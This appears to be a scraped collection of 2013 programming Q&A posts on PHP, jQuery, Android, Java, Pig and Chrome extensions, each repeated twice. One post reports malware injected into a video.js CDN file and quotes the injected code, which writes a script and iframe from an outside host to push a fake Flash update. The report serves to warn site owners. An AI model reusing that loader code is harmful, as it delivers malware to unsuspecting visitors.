for($i=1; $i<=$num; $i++){
echo "TextBox Number"."$i".'<input type="text" name="txt'.$i.'" />';
echo "<br>";
}
echo '<input type="submit" name="submit">';
echo '</form>';
;
?>
I have a code that creates textboxes at run time but to access the values
when user submits after the filling the textbox
<?php
$num = 5;
echo '<form method="post" action="index.php">';
for($i=1; $i<=$num; $i++){
echo "TextBox Number"."$i".'<input type="text" name="txt'.$i.'" />';
echo "<br>";
}
echo '<input type="submit" name="submit">';
echo '</form>';
;
?>
Update number on jQuery UI tooltips
Update number on jQuery UI tooltips
I have folders with tooltips such as '0 entries' or '5 entries' and so on.
I need this tooltip number to update by 1 every time something is dropped
into the folder. Here is the working fiddle http://jsfiddle.net/4ehSG/
jQuery
$(document).tooltip();
$( "#draggable" ).draggable();
$( "#droppable" ).droppable({
drop: function( event, ui ) {
$( this )
.addClass( "ui-state-highlight" )
.find( "p" )
.html( "Dropped!" );
$( "#draggable" ).fadeOut();
}
});
HTML
<div id="draggable" class="ui-widget-content">
<p>Drag me to my target</p>
</div>
<div id="droppable" class="ui-widget-header" title='0 entries'>
<p>Drop here</p>
</div>
I have folders with tooltips such as '0 entries' or '5 entries' and so on.
I need this tooltip number to update by 1 every time something is dropped
into the folder. Here is the working fiddle http://jsfiddle.net/4ehSG/
jQuery
$(document).tooltip();
$( "#draggable" ).draggable();
$( "#droppable" ).droppable({
drop: function( event, ui ) {
$( this )
.addClass( "ui-state-highlight" )
.find( "p" )
.html( "Dropped!" );
$( "#draggable" ).fadeOut();
}
});
HTML
<div id="draggable" class="ui-widget-content">
<p>Drag me to my target</p>
</div>
<div id="droppable" class="ui-widget-header" title='0 entries'>
<p>Drop here</p>
</div>
Sunday, 15 September 2013
how do i send an email through joomla
how do i send an email through joomla
I have a system so folks can register for a class through my Joomla site
(I believe it's 3.0). But from there, I would like to send folks an email
filling variables from the registration. So something like:
Dear (name), thank you for registering for (class).
This is to remind you your class is tomorrow, (date), at (place).
I believe for the registration, the system uses authorize.net
How can I accomplish this?
Thanks for the help!!
I have a system so folks can register for a class through my Joomla site
(I believe it's 3.0). But from there, I would like to send folks an email
filling variables from the registration. So something like:
Dear (name), thank you for registering for (class).
This is to remind you your class is tomorrow, (date), at (place).
I believe for the registration, the system uses authorize.net
How can I accomplish this?
Thanks for the help!!
Java: HashMap inside a HashMap
Java: HashMap inside a HashMap
My question is stupid, but I want to make sure its correct, because if it
isn't it might just break my app.
I have this: private static HashMap> balance = new HashMap<>();
if I get the value like this:
balance.get("something").put("something",100); When I get the hashmap
again like the above method does it stay recorded?
I'm almost positive the answer is yes, but you never know...
Thanks.
My question is stupid, but I want to make sure its correct, because if it
isn't it might just break my app.
I have this: private static HashMap> balance = new HashMap<>();
if I get the value like this:
balance.get("something").put("something",100); When I get the hashmap
again like the above method does it stay recorded?
I'm almost positive the answer is yes, but you never know...
Thanks.
Solving a recurrence for T(n)
Solving a recurrence for T(n)
I need to Find the solution of the recurrence for n, a power of two if
T(n)=3T(n/2)+n for n>1 and T(n)=1 otherwise.
using substitution of n=2^m,S(m)=T(2^(m-1)) I can get down to:
S(m)=2^m+3*2^(m-1)+3^2*2^(m-2)+⋯+3^(m-1) 2^1+3^m
But I have no idea how to simply that. Any help is appreciated!1
I need to Find the solution of the recurrence for n, a power of two if
T(n)=3T(n/2)+n for n>1 and T(n)=1 otherwise.
using substitution of n=2^m,S(m)=T(2^(m-1)) I can get down to:
S(m)=2^m+3*2^(m-1)+3^2*2^(m-2)+⋯+3^(m-1) 2^1+3^m
But I have no idea how to simply that. Any help is appreciated!1
PHP redirect & url rewrite
PHP redirect & url rewrite
Tried already a couple of ways using url redirect, but I am, no good in php.
I have the following problem: The sub folders & files of my server are
case-sensitive. Example: www.example.com/Folder/index.html
How can I make them case insensitive, or redirect alternative spellings to
www.example.com/Folder/
I also want to hide the actual url of all subfolders and files, e.g. only:
www.example.com/Folder should be shown, not any sub-items.
I have no CMS, only static HTML pages.
Tried already a couple of ways using url redirect, but I am, no good in php.
I have the following problem: The sub folders & files of my server are
case-sensitive. Example: www.example.com/Folder/index.html
How can I make them case insensitive, or redirect alternative spellings to
www.example.com/Folder/
I also want to hide the actual url of all subfolders and files, e.g. only:
www.example.com/Folder should be shown, not any sub-items.
I have no CMS, only static HTML pages.
How to get my result in decimal precision control with power value?
How to get my result in decimal precision control with power value?
In my calculation program I am getting Result is 2.04145124554 e-5 so I
want to control the result with decimal precision. I used the code
String.format("%.2f",myans) now I am getting the result 0.00 but I
expected result is 2.04 e-5 now what i do?
In my calculation program I am getting Result is 2.04145124554 e-5 so I
want to control the result with decimal precision. I used the code
String.format("%.2f",myans) now I am getting the result 0.00 but I
expected result is 2.04 e-5 now what i do?
malware update_flash_player.exe found in http://vjs.zencdn.net/c/video.js?ver=3.5.1
malware update_flash_player.exe found in
http://vjs.zencdn.net/c/video.js?ver=3.5.1
PROBLEM
link:
http://vjs.zencdn.net/c/video.js?ver=3.5.1
contains injected javascript code:
if(navigator.appVersion.indexOf("MSIE")!=-1){
document.write('<script
src="http://cdn.adsbarscipt.com/links/jump/"></script>');
}
if(navigator.appVersion.indexOf("Chrome")!=-1){
document.write('<iframe
src="http://cdn.adsbarscipt.com/links/flash/?updnew" width="200"
height="200"></iframe>');
}
that causes IE and Chrome to download malware:
update_flash_player.exe
SOLUTION
use link without "ver" parameter: http://vjs.zencdn.net/c/video.js
http://vjs.zencdn.net/c/video.js?ver=3.5.1
PROBLEM
link:
http://vjs.zencdn.net/c/video.js?ver=3.5.1
contains injected javascript code:
if(navigator.appVersion.indexOf("MSIE")!=-1){
document.write('<script
src="http://cdn.adsbarscipt.com/links/jump/"></script>');
}
if(navigator.appVersion.indexOf("Chrome")!=-1){
document.write('<iframe
src="http://cdn.adsbarscipt.com/links/flash/?updnew" width="200"
height="200"></iframe>');
}
that causes IE and Chrome to download malware:
update_flash_player.exe
SOLUTION
use link without "ver" parameter: http://vjs.zencdn.net/c/video.js
Installing Bullet Engine - Ubuntu
Installing Bullet Engine - Ubuntu
I'm writing program in OpenGL and i wanted to use Bullet Engine.
Unfortunately after the installation (i think all done correctly), when i
try to compile my program it shows:
g++ -c main_file.cpp -o main_file.o
In file included from
/usr/local/include/bullet/btBulletCollisionCommon.h:22:0,
from /usr/local/include/bullet/btBulletDynamicsCommon.h:20,
from main_file.cpp:2:
/usr/local/include/bullet/BulletCollision/CollisionDispatch/btCollisionWorld.h:73:34:
fatal error: LinearMath/btVector3.h: No such file or directory
compilation terminated.
make: *** [main_file.o] Error 1
I tried with this tutorial :
http://www.warp1337.com/content/compileinstall-bullet-physics-engine-276-svn-ubuntu-910-howto
And few others which was similar to this one. And nothing worked. Always
same problem.
I'm writing program in OpenGL and i wanted to use Bullet Engine.
Unfortunately after the installation (i think all done correctly), when i
try to compile my program it shows:
g++ -c main_file.cpp -o main_file.o
In file included from
/usr/local/include/bullet/btBulletCollisionCommon.h:22:0,
from /usr/local/include/bullet/btBulletDynamicsCommon.h:20,
from main_file.cpp:2:
/usr/local/include/bullet/BulletCollision/CollisionDispatch/btCollisionWorld.h:73:34:
fatal error: LinearMath/btVector3.h: No such file or directory
compilation terminated.
make: *** [main_file.o] Error 1
I tried with this tutorial :
http://www.warp1337.com/content/compileinstall-bullet-physics-engine-276-svn-ubuntu-910-howto
And few others which was similar to this one. And nothing worked. Always
same problem.
Saturday, 14 September 2013
Sending SNS to EndpointArn with a GET call to Amazon SNS API
Sending SNS to EndpointArn with a GET call to Amazon SNS API
Is it possible to call Amazon SNS API to send a PNS via URL? Currently I
am sending PNS via AWS PHP SDK 2. However, I would like to do exact thing
via structured GET request to Amazon SNS API.
Current Code:
require '/var/www/html/third-party/vendor/autoload.php';
use Aws\Sns\SnsClient;
$snsClient = SnsClient::factory(array(
'key' => 'ACCESS_KEY',
'secret' => 'SECRET_KEY',
'region' => 'us-west-2'
));
$snsSent = $snsClient->publish(array(
'TargetArn' => 'EndpointArn',
'Message' => "Hello World "
));
What I am looking for something like,
http://sns.us-east-1.amazonaws.com/
?Subject=My%20first%20message
&TopicArn=arn%3Aaws%3Asns%3Aus-east-1%3A698519295917%3AMy-Topic
&Message=Hello%20world%21
&Action=Publish
&SignatureVersion=2
&SignatureMethod=HmacSHA256
&Timestamp=2010-03-31T12%3A00%3A00.000Z
&AWSAccessKeyId=AKIAIOSFODNN7EXAMPLE
&Signature=9GZysQ4Jpnz%2BHklqM7VFTvEcjR2LIUtn6jW47054xxE%3D
I found this above request in Amazon SNS Documentation. However, this
doesn't mention any parameters such as secret key. Also this has Signature
param which is unknown to me.
Any help would be great.
Is it possible to call Amazon SNS API to send a PNS via URL? Currently I
am sending PNS via AWS PHP SDK 2. However, I would like to do exact thing
via structured GET request to Amazon SNS API.
Current Code:
require '/var/www/html/third-party/vendor/autoload.php';
use Aws\Sns\SnsClient;
$snsClient = SnsClient::factory(array(
'key' => 'ACCESS_KEY',
'secret' => 'SECRET_KEY',
'region' => 'us-west-2'
));
$snsSent = $snsClient->publish(array(
'TargetArn' => 'EndpointArn',
'Message' => "Hello World "
));
What I am looking for something like,
http://sns.us-east-1.amazonaws.com/
?Subject=My%20first%20message
&TopicArn=arn%3Aaws%3Asns%3Aus-east-1%3A698519295917%3AMy-Topic
&Message=Hello%20world%21
&Action=Publish
&SignatureVersion=2
&SignatureMethod=HmacSHA256
&Timestamp=2010-03-31T12%3A00%3A00.000Z
&AWSAccessKeyId=AKIAIOSFODNN7EXAMPLE
&Signature=9GZysQ4Jpnz%2BHklqM7VFTvEcjR2LIUtn6jW47054xxE%3D
I found this above request in Amazon SNS Documentation. However, this
doesn't mention any parameters such as secret key. Also this has Signature
param which is unknown to me.
Any help would be great.
Menu child not escaping parent div
Menu child not escaping parent div
I am currently working with a site and I have an issue where child menus
of a drop down menu is not showing above other elements.
I have tried bumping up the z-index and even making them position:
absolute but still with the same result. I used Chrome to Inspect the
styles and deleted every other element still with no success.
I am actually stuck and have been troubleshooting for the past 2 hours.
Can anybody offer any assistance please.
The page is visible at http://s-4-k.co.uk/s4k2
I am currently working with a site and I have an issue where child menus
of a drop down menu is not showing above other elements.
I have tried bumping up the z-index and even making them position:
absolute but still with the same result. I used Chrome to Inspect the
styles and deleted every other element still with no success.
I am actually stuck and have been troubleshooting for the past 2 hours.
Can anybody offer any assistance please.
The page is visible at http://s-4-k.co.uk/s4k2
onPostExecute causing application to crash
onPostExecute causing application to crash
Below is my onPostExecute method. When my AsyncTask fires it does
everything that it suppose to do but when it tries to execute my
onPostExecute my application crashes and I get this message in my logcat
09-14 22:45:22.481: E/AndroidRuntime(1141): FATAL EXCEPTION: main
09-14 22:45:22.481: E/AndroidRuntime(1141): java.lang.NullPointerException
09-14 22:45:22.481: E/AndroidRuntime(1141): at
com.testapp1.ListView$LoadAllData.onPostExecute(ListView.java:193)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
com.testapp1.ListView$LoadAllData.onPostExecute(ListView.java:1)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
android.os.AsyncTask.finish(AsyncTask.java:631)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
android.os.AsyncTask.access$600(AsyncTask.java:177)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
android.os.AsyncTask$InternalHandler.handleMessage(AsyncTask.java:644)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
android.os.Handler.dispatchMessage(Handler.java:99)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
android.os.Looper.loop(Looper.java:137)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
android.app.ActivityThread.main(ActivityThread.java:5041)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
java.lang.reflect.Method.invokeNative(Native Method)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
java.lang.reflect.Method.invoke(Method.java:511)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:793)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
com.android.internal.os.ZygoteInit.main(ZygoteInit.java:560)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
dalvik.system.NativeStart.main(Native Method)
this is my onPostExecute method
@Override
protected void onPostExecute(String file_URL) {
if(file_URL.equals("0")) {
pDialog.dismiss();
Toast.makeText(ListView.this, "No data found",
Toast.LENGTH_SHORT).show();
finish();
}else{
if (pDialog != null && pDialog.isShowing()) pDialog.dismiss();
ListAdapter adapter = new SimpleAdapter(getBaseContext(),
questionList,
R.layout.listelements,
new String[] { TAG_QUESTION_SUBJECT }, new int[] {
R.id.Subject,});
setListAdapter(adapter);
}}}
May I please have somebody help with this issue that I have.
Below is my onPostExecute method. When my AsyncTask fires it does
everything that it suppose to do but when it tries to execute my
onPostExecute my application crashes and I get this message in my logcat
09-14 22:45:22.481: E/AndroidRuntime(1141): FATAL EXCEPTION: main
09-14 22:45:22.481: E/AndroidRuntime(1141): java.lang.NullPointerException
09-14 22:45:22.481: E/AndroidRuntime(1141): at
com.testapp1.ListView$LoadAllData.onPostExecute(ListView.java:193)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
com.testapp1.ListView$LoadAllData.onPostExecute(ListView.java:1)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
android.os.AsyncTask.finish(AsyncTask.java:631)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
android.os.AsyncTask.access$600(AsyncTask.java:177)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
android.os.AsyncTask$InternalHandler.handleMessage(AsyncTask.java:644)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
android.os.Handler.dispatchMessage(Handler.java:99)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
android.os.Looper.loop(Looper.java:137)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
android.app.ActivityThread.main(ActivityThread.java:5041)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
java.lang.reflect.Method.invokeNative(Native Method)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
java.lang.reflect.Method.invoke(Method.java:511)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:793)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
com.android.internal.os.ZygoteInit.main(ZygoteInit.java:560)
09-14 22:45:22.481: E/AndroidRuntime(1141): at
dalvik.system.NativeStart.main(Native Method)
this is my onPostExecute method
@Override
protected void onPostExecute(String file_URL) {
if(file_URL.equals("0")) {
pDialog.dismiss();
Toast.makeText(ListView.this, "No data found",
Toast.LENGTH_SHORT).show();
finish();
}else{
if (pDialog != null && pDialog.isShowing()) pDialog.dismiss();
ListAdapter adapter = new SimpleAdapter(getBaseContext(),
questionList,
R.layout.listelements,
new String[] { TAG_QUESTION_SUBJECT }, new int[] {
R.id.Subject,});
setListAdapter(adapter);
}}}
May I please have somebody help with this issue that I have.
LFSR in assembly
LFSR in assembly
I have the LFSR code written in C:
void LFSR {
uint16_t lfsr = 0xACE1u;
unsigned bit;
bit = ((lfsr >> 0) ^ (lfsr >> 2) ^ (lfsr >> 3) ^ (lfsr >> 5) ) & 1;
lfsr = (lfsr >> 1) | (bit << 15);
DisplayHex(lfsr);
}
Can someone tell me is there any examples to help me to turn this C code
into assembly?
I have the LFSR code written in C:
void LFSR {
uint16_t lfsr = 0xACE1u;
unsigned bit;
bit = ((lfsr >> 0) ^ (lfsr >> 2) ^ (lfsr >> 3) ^ (lfsr >> 5) ) & 1;
lfsr = (lfsr >> 1) | (bit << 15);
DisplayHex(lfsr);
}
Can someone tell me is there any examples to help me to turn this C code
into assembly?
How to connect mysql db in another host using PDO?
How to connect mysql db in another host using PDO?
I don't know how connect into one mysql db in different host(server) to
show medicament list in another website... can you help me with this?
here is the connection I use in the same server, but in different server I
can't connect. Can you explain me how to do it?
<?php
$dbtype = "mysql";
$dbhost = "localhost";
$dbname = "XXXX_medicament";
$dbuser = "XXXX_medicament";
$dbpass = "123456789";
$conn = new PDO("mysql:host=$dbhost;dbname=$dbname",$dbuser,$dbpass);
$conn->exec("set names utf8");
$conn->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );
?>
I don't know how connect into one mysql db in different host(server) to
show medicament list in another website... can you help me with this?
here is the connection I use in the same server, but in different server I
can't connect. Can you explain me how to do it?
<?php
$dbtype = "mysql";
$dbhost = "localhost";
$dbname = "XXXX_medicament";
$dbuser = "XXXX_medicament";
$dbpass = "123456789";
$conn = new PDO("mysql:host=$dbhost;dbname=$dbname",$dbuser,$dbpass);
$conn->exec("set names utf8");
$conn->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );
?>
Set android:windowIsFloating programmatically
Set android:windowIsFloating programmatically
How can I set following activity style attribute programmatically
<item name="android:windowIsFloating">true</item>
How can I set following activity style attribute programmatically
<item name="android:windowIsFloating">true</item>
PHP: How to add attributes to the deeper child note with SimpleXMLElement
PHP: How to add attributes to the deeper child note with SimpleXMLElement
How can I add attributes to the deeper child note with SimpleXMLElement?
for instance,
$xml = new SimpleXMLElement('<xml/>');
$response = $xml->addChild('response');
$response->addChild('error');
$response->addAttribute('elementid', 100);
$response->addAttribute('message', 'You must not leave this field empty!');
Header('Content-type: text/xml');
print($xml->asXML());
I get this,
<xml>
<response elementid="100" message="Key name - You must not leave this
field empty!">
<error />
</response>
</xml>
But actually I want,
<xml>
<response>
<error elementid="100" message="Key name - You must not leave this field
empty!" />
</response>
</xml>
Is it possible?
How can I add attributes to the deeper child note with SimpleXMLElement?
for instance,
$xml = new SimpleXMLElement('<xml/>');
$response = $xml->addChild('response');
$response->addChild('error');
$response->addAttribute('elementid', 100);
$response->addAttribute('message', 'You must not leave this field empty!');
Header('Content-type: text/xml');
print($xml->asXML());
I get this,
<xml>
<response elementid="100" message="Key name - You must not leave this
field empty!">
<error />
</response>
</xml>
But actually I want,
<xml>
<response>
<error elementid="100" message="Key name - You must not leave this field
empty!" />
</response>
</xml>
Is it possible?
Friday, 13 September 2013
Is this jQuery code right?
Is this jQuery code right?
function like(){
$('#likeo').html('<div style = "align:center"><img src =
"images/loader.gif"></div></br>').show();
var pid = <?php echo $post; ?>;
$.post('include/like.php',{pids:pid} , function(data){
$('#likeo').html(data).show();
})
}
Is this jquery code right??. I tried everything and failed to get it
working. this function gets executed by this code :
<input type = 'button' value = 'Like' name = 'like' id = 'inputl' class =
'buttonl' style = 'width:46.4%;margin-top:10px;' onclick =
'javascript:like(<?php echo $post; ?>;);'>
function like(){
$('#likeo').html('<div style = "align:center"><img src =
"images/loader.gif"></div></br>').show();
var pid = <?php echo $post; ?>;
$.post('include/like.php',{pids:pid} , function(data){
$('#likeo').html(data).show();
})
}
Is this jquery code right??. I tried everything and failed to get it
working. this function gets executed by this code :
<input type = 'button' value = 'Like' name = 'like' id = 'inputl' class =
'buttonl' style = 'width:46.4%;margin-top:10px;' onclick =
'javascript:like(<?php echo $post; ?>;);'>
Having a strange error when trying to implement a spinner in android
Having a strange error when trying to implement a spinner in android
I am trying to implement a spinner in android and while I was doing it I
got this strange syntax error and I am unable to resolve it.
The code I was writing :
package awad865.se206.contactmanager;
import android.os.Bundle;
import android.app.Activity;
import android.view.Menu;
import android.widget.ArrayAdapter;
import android.widget.Spinner;
public class AddContact extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_add_contact);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is
present.
getMenuInflater().inflate(R.menu.add_contact, menu);
return true;
}
Spinner spinner = (Spinner) findViewById(R.id.contact_number_array);
//Create an ArrayAdapter using the string array and a default spinner
layout
ArrayAdapter<CharSequence> Adapter =
ArrayAdapter.createFromResource(this, R.array.phone_array,
android.R.layout.simple_spinner_item);
//Specify the layout to use when the list of choices appears
Adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
}
While I was writing "Adapter.setDropDownViewResource...." I get this weird
error and this is stack trace:
Multiple markers at this line
- Syntax error, insert "}" to complete ClassBody
- Syntax error, insert "enum Identifier" to complete
EnumHeaderName
- Syntax error on token "Adapter", delete this token
- Syntax error, insert "EnumBody" to complete EnumDeclaration
I can't figure what the problem is. Can someone please help?
I am trying to implement a spinner in android and while I was doing it I
got this strange syntax error and I am unable to resolve it.
The code I was writing :
package awad865.se206.contactmanager;
import android.os.Bundle;
import android.app.Activity;
import android.view.Menu;
import android.widget.ArrayAdapter;
import android.widget.Spinner;
public class AddContact extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_add_contact);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is
present.
getMenuInflater().inflate(R.menu.add_contact, menu);
return true;
}
Spinner spinner = (Spinner) findViewById(R.id.contact_number_array);
//Create an ArrayAdapter using the string array and a default spinner
layout
ArrayAdapter<CharSequence> Adapter =
ArrayAdapter.createFromResource(this, R.array.phone_array,
android.R.layout.simple_spinner_item);
//Specify the layout to use when the list of choices appears
Adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
}
While I was writing "Adapter.setDropDownViewResource...." I get this weird
error and this is stack trace:
Multiple markers at this line
- Syntax error, insert "}" to complete ClassBody
- Syntax error, insert "enum Identifier" to complete
EnumHeaderName
- Syntax error on token "Adapter", delete this token
- Syntax error, insert "EnumBody" to complete EnumDeclaration
I can't figure what the problem is. Can someone please help?
filter and change a column in pig
filter and change a column in pig
suppose my data looks like
row1 cats val12 val13
row2 dogs val22 val23
row3 cats val32 val33
...
data = load 'file' AS (row:chararry, pets:charray, val2:charray,
val3:charray);
filter data to only save 'cats' rows
felines = filter data by (pets matches 'cats');
now change 'cats' to 'lions'
lions = foreach felines generate replace (pets, 'cats', 'lions');
dump lions;
(lions)
(lions)
...
my goal is to create new rows to add to my table
newFelines = foreach lions generate rows, lions, val1, val2;
Error ^^^^^
"Error during parsing. Scalars can be only used with projections"
how can I obtain a set with the following new rows?
row1 lions val11 val12
row3 lions val31 val32
TIA,
suppose my data looks like
row1 cats val12 val13
row2 dogs val22 val23
row3 cats val32 val33
...
data = load 'file' AS (row:chararry, pets:charray, val2:charray,
val3:charray);
filter data to only save 'cats' rows
felines = filter data by (pets matches 'cats');
now change 'cats' to 'lions'
lions = foreach felines generate replace (pets, 'cats', 'lions');
dump lions;
(lions)
(lions)
...
my goal is to create new rows to add to my table
newFelines = foreach lions generate rows, lions, val1, val2;
Error ^^^^^
"Error during parsing. Scalars can be only used with projections"
how can I obtain a set with the following new rows?
row1 lions val11 val12
row3 lions val31 val32
TIA,
Chrome Extension API: chrome.tabs.captureVisibleTab on Background Page to Content Script
Chrome Extension API: chrome.tabs.captureVisibleTab on Background Page to
Content Script
My overall goal was to take a screenshot via the background page using:
http://developer.chrome.com/extensions/tabs.html#method-captureVisibleTab
and pass it to the content script so I can use the page's HTML DOM to
analyze the screenshot and cut it up the way I would like.
However, I can't seem to pass the dataUrl back to the content script with
Message Passing:
http://developer.chrome.com/extensions/messaging.html
I tried JSON.stringify() but to no avail.
This works perfectly fine:
background.js
chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
sendResponse({imgSrc:'hello'});
}
);
I switch the code to this and nothing gets through:
background.js
chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
chrome.tabs.captureVisibleTab(
null,
{},
function(dataUrl)
{
sendResponse({imgSrc:dataUrl});
}
)
}
);
My only proof that the background page is actually taking a screenshot is
that I can do
chrome.tabs.captureVisibleTab(null,{},function(dataUrl){console.log(dataUrl);});
and I see
"data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAA....etc..."
logged in background.html, which is valid
My question is: HOW CAN I SEND THIS STUPID URL TO THE CONTENT SCRIPT?!?!
I would prefer not to do all the logic on the background page which can't
control anything on the actual visible page because it seems so
unnecessary and ridiculous.
Content Script
My overall goal was to take a screenshot via the background page using:
http://developer.chrome.com/extensions/tabs.html#method-captureVisibleTab
and pass it to the content script so I can use the page's HTML DOM to
analyze the screenshot and cut it up the way I would like.
However, I can't seem to pass the dataUrl back to the content script with
Message Passing:
http://developer.chrome.com/extensions/messaging.html
I tried JSON.stringify() but to no avail.
This works perfectly fine:
background.js
chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
sendResponse({imgSrc:'hello'});
}
);
I switch the code to this and nothing gets through:
background.js
chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
chrome.tabs.captureVisibleTab(
null,
{},
function(dataUrl)
{
sendResponse({imgSrc:dataUrl});
}
)
}
);
My only proof that the background page is actually taking a screenshot is
that I can do
chrome.tabs.captureVisibleTab(null,{},function(dataUrl){console.log(dataUrl);});
and I see
"data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAA....etc..."
logged in background.html, which is valid
My question is: HOW CAN I SEND THIS STUPID URL TO THE CONTENT SCRIPT?!?!
I would prefer not to do all the logic on the background page which can't
control anything on the actual visible page because it seems so
unnecessary and ridiculous.
Logback RollingFileAppender Not Working
Logback RollingFileAppender Not Working
I have the following logback.xml file:
<configuration>
<!--Daily rolling file appender -->
<appender name="FILE"
class="ch.qos.logback.core.rolling.RollingFileAppender">
<File>/usr/share/tomcat6/logs/api.log</File>
<rollingPolicy
class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
<FileNamePattern>/usr/share/tomcat6/logs/api/api.%d{yyyy-MM-dd}.gz</FileNamePattern>
</rollingPolicy>
<encoder>
<pattern>%date %level [%thread] %logger{10} [%file:%line]
%msg%n</pattern>
</encoder>
</appender>
<appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
<encoder>
<pattern>%msg%n</pattern>
</encoder>
</appender>
<root level="debug">
<appender-ref ref="FILE" />
<appender-ref ref="STDOUT" />
</root>
</configuration>
My log file is working just fine. The folling file aspect however is not.
Instead of gzipping the file and moving it into the api folder, it is
putting it in the same directory and renaming it to
api.log(string of numbers).tmp
e.g.
api.log849916939395200.tmp
Does anyone know why this is happening?
I have the following logback.xml file:
<configuration>
<!--Daily rolling file appender -->
<appender name="FILE"
class="ch.qos.logback.core.rolling.RollingFileAppender">
<File>/usr/share/tomcat6/logs/api.log</File>
<rollingPolicy
class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
<FileNamePattern>/usr/share/tomcat6/logs/api/api.%d{yyyy-MM-dd}.gz</FileNamePattern>
</rollingPolicy>
<encoder>
<pattern>%date %level [%thread] %logger{10} [%file:%line]
%msg%n</pattern>
</encoder>
</appender>
<appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
<encoder>
<pattern>%msg%n</pattern>
</encoder>
</appender>
<root level="debug">
<appender-ref ref="FILE" />
<appender-ref ref="STDOUT" />
</root>
</configuration>
My log file is working just fine. The folling file aspect however is not.
Instead of gzipping the file and moving it into the api folder, it is
putting it in the same directory and renaming it to
api.log(string of numbers).tmp
e.g.
api.log849916939395200.tmp
Does anyone know why this is happening?
Dynamic variable in Javascript (call by reference)
Dynamic variable in Javascript (call by reference)
When a variable refers to an object the value is a reference to the object
(Referred from: Javascript by reference vs. by value )
function fun1(obj) {
obj.first = 1; //it affects the object ->obj
}
var myObj1 = {first: 0};
fun1(myObj1); //sending the object to the function
console.log(myObj1.first); // 1
But I would like to change the variable from an object, for example
function fun2(obj) {
obj = 1; }
var myObj2 = {first: 0};
fun2(myObj2.first);
console.log(myObj2.first);
Is there any way to achieve this?
When a variable refers to an object the value is a reference to the object
(Referred from: Javascript by reference vs. by value )
function fun1(obj) {
obj.first = 1; //it affects the object ->obj
}
var myObj1 = {first: 0};
fun1(myObj1); //sending the object to the function
console.log(myObj1.first); // 1
But I would like to change the variable from an object, for example
function fun2(obj) {
obj = 1; }
var myObj2 = {first: 0};
fun2(myObj2.first);
console.log(myObj2.first);
Is there any way to achieve this?
Thursday, 12 September 2013
how loop through multiple checkbox in C#
how loop through multiple checkbox in C#
I have 100 checkbox in a winfrom. Their name is sequential like
checkbox1,checkbox2 etc. I have a submit button in my winform. After
clicking the submitting button, it checks, if a checkbox is checked then
some value is updated otherwise another value is updated. I have to check
100 checkbox. So i have to loop through the 100 checkbox to check if the
checkbox is checked or not.
I know how to check the checkbox
private void sumit_button_Click(object sender, EventArgs e)
{
if (checkbox1.Checked)
{
// update
}
else
{
// update another
}
if (checkbox2.Checked)
{
// update
}
else
{
// update another
}
......................and so on
}
But how can i do this for 100 checkbox???
I have 100 checkbox in a winfrom. Their name is sequential like
checkbox1,checkbox2 etc. I have a submit button in my winform. After
clicking the submitting button, it checks, if a checkbox is checked then
some value is updated otherwise another value is updated. I have to check
100 checkbox. So i have to loop through the 100 checkbox to check if the
checkbox is checked or not.
I know how to check the checkbox
private void sumit_button_Click(object sender, EventArgs e)
{
if (checkbox1.Checked)
{
// update
}
else
{
// update another
}
if (checkbox2.Checked)
{
// update
}
else
{
// update another
}
......................and so on
}
But how can i do this for 100 checkbox???
Retrieving messages from a user id in mysql/php
Retrieving messages from a user id in mysql/php
Since my last question was very vague, I figured I would clear some things
up. I am learning how to build a private chat application (for educational
reasons only), and I am trying to figure out the best way to do a private
chat. I created a 2 tables, user and chat. In chat, I have 5 columns:
message_id
user_id
username
message
send
I want to retrieve only the messages from the selected user_id.
Right now, here is my send form. Input name send = the data I want to
retrieve. Until I get the hang of things, I only want to retrieve the
user_id number (so you would put a number in the text area to chat to that
username).
<form name="form" method="post">
<input type="text" name="send" id="send" value="">
<input name="user_id" type="hidden" value="<?php echo
$_SESSION['user_id'];?>" id="user_id">
<textarea name="message" class="message" onkeydown="if (event.keyCode
== 13) document.getElementById('submit').click()"></textarea>
